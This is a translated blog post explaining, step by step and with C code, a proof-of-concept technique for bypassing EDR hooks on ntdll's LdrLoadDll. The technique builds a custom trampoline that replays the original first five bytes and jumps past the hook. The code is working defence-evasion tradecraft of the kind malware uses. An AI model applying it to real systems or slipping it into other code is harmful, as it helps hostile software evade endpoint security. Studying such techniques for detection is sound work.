General unhook method of custom jump function (update)

0x00 Preface

This paper introduces an interesting unhook technique, which comes from a GitHub POC sent by a small partner: https://github.com/trickster0/LdrLoadDll-Unhooking , this article will interpret this method step by step with reference to this POC.

At present, most of the classic methods are direct system call (Syscall) or finding the address of ntdll and remapping it in the disk text section to get a clean dll and find the function address.

The following introduction is equivalent to assembling a "jump function" by ourselves, which cleverly avoids some hooks and has certain reference and learning value.

0x01 process analysis

  1. Firstly, the structure of Nt function parameters is constructed
    UNICODE_STRING ldrldll;
    OBJECT_ATTRIBUTES objectAttributes = { 0 };
    wchar_t ldrstring[] = L"Wininet.dll";
    RtlInitUnicodeString(&ldrldll, ldrstring);
    InitializeObjectAttributes(&objectAttributes, &ldrldll, OBJ_CASE_INSENSITIVE, NULL, NULL);
  1. Then define and initialize the header, address and tail of the instruction to be patched
    unsigned char jumpPrelude[] = { 0x49, 0xBB }; 
    unsigned char jumpAddress[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD, 0xBE, 0xEF };
    unsigned char jumpEpilogue[] = { 0x41, 0xFF, 0xE3, 0xC3 }; 
  1. Create a new memory page with the property of readable and writable (opsec). This memory page is to save the address of LdrLoadDll to be used finally.
LPVOID trampoline = VirtualAlloc(NULL,19, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
  1. Get the original address of the export function LdrLoadDll in ntdll
LPVOID origLdrLoadDll = GetProcAddress(GetModuleHandleA("ntdll.dll"),"LdrLoadDll");

Many EDR s go to the Hook API by modifying the functions in the Windows DLL and jumping to their own detection function by inserting JMP instructions at the beginning of the function; If the API is Hook, the first five bytes will change to JMP xxxh and jump to the address of the detection function. The picture below illustrates this process.

The original function address obtained above can be viewed in the memory window

For easier viewing, use Windbg to disassemble LdrLoadDll to view its structure and record the first five bytes, that is \ x48\x89\x5c\x24\x10,

5. Put the original first five bytes into the address we started to apply for.

CCopyMemory(trampoline,(PVOID)"\x48\x89\x5c\x24\x10", 5);

This step is more ingenious. Even if EDR modifies the first five bytes as jump instructions, we don't care, because we don't use the original first five bytes, but put them in ourselves.

  1. Obtain the address after the first 5 bytes of the original address and put it into the jumpAddress applied in step 2
    LPVOID jmpAddr = (void*)((char*)origLdrLoadDll + 0x5);
    *(void**)(jumpAddress) = jmpAddr; //Address of jmpaddr

Check the memory of jumpAddress and find that it is the address 7ff8d8ae6a15

  1. Then there are three copy operations
    CCopyMemory((PBYTE)trampoline+5, jumpPrelude, 2);
    CCopyMemory((PBYTE)trampoline + 5 + 2, jumpAddress, sizeof(jumpAddress)); 
    CCopyMemory((PBYTE)trampoline + 5 + 2 + 8, jumpEpilogue, 4);

First, copy the jumpPrelude to the first 5 bytes, then copy the address of the original function after 5 bytes, and finally copy the tail of the jumpEpilogue instruction

In step 5, trampoline writes the first five bytes in advance. The memory looks like this

After three copies of the content, the final instruction is:

  1. Modify the memory space of the "custom jump function" to be used finally to be executable
VirtualProtect(trampoline,30,PAGE_EXECUTE_READ,&oldProtect);
  1. Finally, assign the address to the pre-defined function structure, and call
    LdrLoadrDll = (pNewLdrLoadDll)trampoline;
    HANDLE wininetmodule = NULL;
    LdrLoadrDll(NULL, 0 , &ldrldll, &wininetmodule);

Open the assembly window of VS. when the function is called, you can enter it to see more clearly the operations done in the final trampoline, with the blue box on the right

0x02 summary

In this way, a complete user-defined jump function is constructed. The actual function of this function is to jump back to the address after the first five bytes of the original LdrLoadDll, which is equivalent to avoiding the Hook method of modifying the JMP of the first five bytes to detect the function.

Our customized jump function is not affected by it, and the call is also sent from NTDLL. Use a diagram to illustrate the process:

Finally, all masters are welcome to pay attention to the hackers of wechat official account to think and learn together

Tags: Cyber Security

Posted by sidney on Fri, 06 May 2022 14:15:45 +0300